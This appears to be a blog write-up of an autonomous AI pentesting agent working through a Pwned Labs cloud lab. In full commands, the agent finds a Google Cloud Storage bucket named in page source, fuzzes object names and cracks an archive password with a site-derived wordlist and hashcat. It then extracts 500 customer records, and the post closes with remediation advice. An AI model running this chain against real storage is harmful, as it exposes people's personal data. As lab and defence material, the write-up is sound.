· 6 min read
Bucket listing was denied on this Google Cloud Storage bucket. That is the control most teams check, and it held. Individual objects were still readable to anyone who knew the name, and the name was guessable. The distance between those two facts is the entire campaign.
The target was careers.gigantic-retail.com, a Pwned Labs cloud scenario. Darkmoon ran it autonomously from the public website.
What the agent found
| Severity | Count |
|---|---|
| Critical | 3 (all exploited) |
| High | 1 (exploited) |
| Medium | 1 (confirmed) |
| Low | 0 |
| Total | 5 |
Step one: the bucket name was in the page source
curl -sS https://careers.gigantic-retail.com/index.html | grep -i storage.googleapis.com
<!-- <img src="https://storage.googleapis.com/it-storage-bucket/images/retail1.jpg"
alt="Career Image"> -->A commented out image tag. The element does not render, so nothing on the page reveals it, and it names the bucket. This is the finding rated medium, and it is the one that makes every other finding possible.
Step two: fuzzing object names, because listing was denied
With listing returning 403, the agent could not enumerate the bucket. It fuzzed object names against the known bucket instead:
ffuf -u "https://storage.googleapis.com/it-storage-bucket/FUZZ" \
-w /tmp/gcs-fuzz.txt -mc 200,301,302,403 -fc 404 -t 10 -v
[Status: 200, Size: 22072] https://storage.googleapis.com/it-storage-bucket/backup.7zOne hit, 22072 bytes, a password protected 7-Zip archive using 7zAES. Listing the archive showed two members: customers-credit-review.csv at 54160 bytes and flag.txt at 33 bytes.
Step three: cracking the archive with the website's own words
This is the step worth reading closely. Instead of a generic wordlist, the agent built the candidate list out of the target's own public page, the classic CeWL approach, done inline:
curl -sS https://careers.gigantic-retail.com/index.html \
| sed 's/<[^>]*>//g' | sed 's/[^A-Za-z]/ /g' | sed 's/ /\n/g' \
| awk 'length >= 4' | sort -u > /tmp/cewl-wordlist.txt # 143 words
7z2john /tmp/backup.7z > /tmp/7z-hash.txt
hashcat -m 11600 /tmp/7z-hash.txt /tmp/cewl-wordlist.txt --force -O
Status: Cracked Hash.Mode: 11600 (7-Zip) Speed: 328 H/s
Password: balance Time to crack: < 5 secondsThe archive password was a single word that appears on the company's own careers page. A 143 word list, five seconds, at 328 hashes per second. No GPU farm, no rainbow table, no leaked password database. The report rates this as a high severity finding in its own right, because the weakness is the password selection policy, not the encryption.
Step four: what was inside
7z x /tmp/backup.7z -o/tmp/backup-out -p<password> -y
-> Everything is Ok, Files: 2, Size: 54193
head -20 /tmp/backup-out/customers-credit-review.csv
-> first_name,last_name,address,city,county,state,zip,phone1,phone2,email
wc -l /tmp/backup-out/customers-credit-review.csv
-> 501 lines (500 records + header)500 customer records with full names, street addresses, city, county, state, postal code, two phone numbers each and an email address. The flag file was retrieved as well, which is how this lab certifies full data exfiltration.
What the report is careful about
The bucket is not wide open, and the report says so in the finding description rather than in a footnote: bucket listing is denied with a 403, and only object access for guessable names is allowed. That distinction matters to whoever has to fix it, because the remediation is different. Turning off listing was already done. It was not enough.
The report also does not claim the whole bucket was exfiltrated. One object was found, downloaded and opened. Everything else in it-storage-bucket is listed in the remediation as needing review, not as compromised.
Remediation, as the report states it
- Remove public access from
backup.7z, then review every object in the bucket for the same exposure. - Enforce uniform bucket level access with IAM only permissions, so that per-object ACLs cannot quietly re-open what the bucket policy closed.
- Do not store backup archives in publicly reachable cloud storage at all.
- Use randomly generated archive passwords. A word from your own marketing copy is not a password, it is a hint.
- Enable audit logging and alert on public access to the bucket.
- Strip commented out infrastructure references from published HTML.
What this proves about autonomous pentesting
Four different tools in four steps: a curl and a grep on the public page, ffuf against object names, a shell pipeline to build a target specific wordlist, then 7z2john and hashcat in the right mode. The agent chose each one because of what the previous step returned, which is the part that a checklist scan cannot do. A scanner reports that the bucket denies listing and marks it green.
Darkmoon is open source under GPL-3.0: repository, documentation.